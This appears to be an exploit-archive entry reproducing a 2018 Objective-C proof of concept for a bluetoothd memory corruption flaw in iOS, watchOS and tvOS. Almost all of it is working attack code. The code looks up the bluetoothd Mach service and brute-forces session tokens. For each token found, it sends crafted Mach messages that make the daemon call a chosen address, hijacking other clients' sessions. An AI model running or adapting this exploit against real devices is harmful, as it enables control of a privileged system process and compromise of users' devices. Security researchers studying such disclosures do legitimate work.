ExploitFixes
Apple iOS 11.2.5 / watchOS 4.2.2 / tvOS 11.2.5 - 'bluetoothd' Memory Corruption 2018-02-28 02:05:19

//
// main.m
// bluetoothdPoC
//
// Created by Rani Idan.
// Copyright © 2018 zLabs. All rights reserved.
//


#import "AppDelegate.h"

#include <mach/mach.h>

extern kern_return_t bootstrap_look_up(mach_port_t bs, const char *service_name, mach_port_t *service);

/* When hijacking session between bluetoothd and client, add callback to the client and jump to CALLBACK_ADDRESS with CALLBACK_ADDITIONAL_DATA */
#define CALLBACK_ADDRESS 0xdeadbeef
#define CALLBACK_ADDITIONAL_DATA 0x13371337

#define BLUETOOTHD_CONST 0xFA300
#define BLUETOOTHD_WRONG_TOKEN 7

#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE 0x44
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE 0x48
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS 0x113
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID 3
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT 0x1000
#define BLUETOOTHD_MIG_SERVER_NAME "com.apple.server.bluetooth"

#define ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET 0x20
#define ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET 0x20
#define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET 0x28
#define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA 0x40



typedef unsigned int mach_msg_return_value;


mach_port_t get_service_port(char *service_name)
{

kern_return_t ret = KERN_SUCCESS;
mach_port_t service_port = MACH_PORT_NULL;
mach_port_t bs = MACH_PORT_NULL;


ret = task_get_bootstrap_port(mach_task_self(), &bs);

ret = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (ret)
{
NSLog(@"Couldn't find port for %s",service_name);
return MACH_PORT_NULL;
}

NSLog(@"Got port: %x", service_port);

mach_port_deallocate(mach_task_self(), bs);
return service_port;
}


mach_msg_return_value BTLocalDevice_add_callback(mach_port_t bluetoothd_port, mach_port_t session_token, void* callback_address, long additional_data)
{
mach_port_t receive_port = MACH_PORT_NULL;
mach_msg_header_t * message = NULL;
char *data = NULL;
kern_return_t ret = KERN_SUCCESS;

mach_msg_return_value return_value = 0;



mach_msg_id_t msgh_id = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID;
mach_msg_size_t recv_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE;
mach_msg_size_t send_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE;
mach_msg_option_t options = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS;
mach_msg_size_t msg_size = MAX(recv_size, send_size);


ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port);
if ( ret != KERN_SUCCESS)
{
return_value = -3;
NSLog(@"Failed to allocate port ret=%x", ret);
NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
goto cleanup;
}
ret = mach_port_insert_right(mach_task_self(), receive_port, receive_port, MACH_MSG_TYPE_MAKE_SEND);
if ( ret != KERN_SUCCESS)
{
return_value = -3;
NSLog(@"Failed to insert port right ret=%x", ret);
NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
goto cleanup;
}
message = malloc(msg_size);
data = (char *)message;

memset(message, 0, msg_size);

*((mach_port_t *)(data+ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET)) = session_token;
*((void **)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET)) = callback_address;
*((long *)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA)) = additional_data;

message->msgh_bits = 0x1513 ;

message->msgh_remote_port = bluetoothd_port; /* Request port */
message->msgh_local_port = receive_port; /* Reply port */
message->msgh_size = send_size; /* Message size */
message->msgh_reserved = 0;


message->msgh_id = BLUETOOTHD_CONST + msgh_id;

ret = mach_msg(message, /* The header */
options, /* Flags */
send_size, /* Send size */
recv_size, /* Max receive Size */
receive_port, /* Receive port */
BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT, /* No timeout */
MACH_PORT_NULL); /* No notification */


if(MACH_MSG_SUCCESS == ret)
{
return_value = *(mach_msg_return_value *) (((char *) message) + ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET);
if (return_value != BLUETOOTHD_WRONG_TOKEN) {
NSLog(@"Sent message id %d with token %x, returned: %x", msgh_id, session_token, return_value);
}
} else if (MACH_RCV_INVALID_NAME == ret)
{
NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
NSLog(@"mach_error_int: ret=%x", ret);
NSLog(@"mach_remote_port: %x", message->msgh_remote_port);
return_value = -2;
}
else {
NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
NSLog(@"mach_error_int: ret=%x", ret);
NSLog(@"mach_remote_port: %x", message->msgh_remote_port);
return_value = -1;
}


cleanup:
if(MACH_PORT_NULL != receive_port)
{
mach_port_destroy(mach_task_self(), receive_port);
}
if (NULL != message) {
free(message);
}
return return_value;
}



void try_to_add_callback_BTLocalDeviceAddCallbacks(void * address, long value)
{
int ports_found[0xffff] = {0};
int number_of_ports_found = 0;

mach_port_t bluetoothd_port = get_service_port(BLUETOOTHD_MIG_SERVER_NAME);
if (MACH_PORT_NULL == bluetoothd_port)
{
NSLog(@"Couldn't have bluetoothd port");
return;
}

NSLog(@"Starting to look for session tokens");
for (int i = 0; i <= 0xffff; i++) {
int id = 0;
id = (i << 16) + 1;
int result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
{
NSLog(@"Found port: %x", id);
ports_found[number_of_ports_found] = id;
number_of_ports_found ++;
}


id = (i << 16) + 2;
result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
{
NSLog(@"Found port: %x", id);
ports_found[number_of_ports_found] = id;
number_of_ports_found ++;
}


id = (i << 16);
result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0);
if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
{
NSLog(@"Found port: %x", id);
ports_found[number_of_ports_found] = id;
number_of_ports_found ++;
}

}

for (int i = number_of_ports_found-1; i>=0; i--) {
NSLog(@"Adding callback: Port=%x address=%x value=%x", ports_found[i], (unsigned int)address, (unsigned int)value);
BTLocalDevice_add_callback(bluetoothd_port, ports_found[i],address, value);
}

NSLog(@"Done");
return;
}

void trigger() {
try_to_add_callback_BTLocalDeviceAddCallbacks((void *)CALLBACK_ADDRESS, CALLBACK_ADDITIONAL_DATA);
}


int main(int argc, char * argv[]) {
trigger();
}